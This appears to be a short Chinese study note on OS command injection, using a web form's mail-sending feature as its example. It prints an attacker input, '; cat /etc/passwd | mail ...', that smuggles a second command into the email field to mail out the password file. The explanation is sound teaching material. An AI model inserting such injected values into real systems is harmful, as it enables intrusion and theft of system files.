【Web技术攻击】OS(Operating System)命令注入攻击

OS命令注入攻击是指通过Web应用,执行非法的操作系统命令达到攻击的目的

OS注入攻击案例:以表单的发送功能为例,该功能可将用户的邮件按已填写的对方邮箱地址放过去。

【Web技术攻击】OS(Operating System)命令注入攻击_第1张图片

  • 攻击者将下面的值指定作为邮件地址:
  • ; cat /etc/passwd | mail [email protected]
  • 程序接收该值,构成以下的命令组合:
  • “| /usr/sbin/sendmail ; cat /etc/passwd | mail [email protected]
  • 攻击者的输入值中分号(;)。这个符号在OS命令中,会被解析为分割多个执行命令的标记。sendmail命令执行完就会执行下面的命令,结果/etc/passwd的文件,就以邮件的形式发送给了
    [email protected]

你可能感兴趣的:(图解HTTP读书笔记)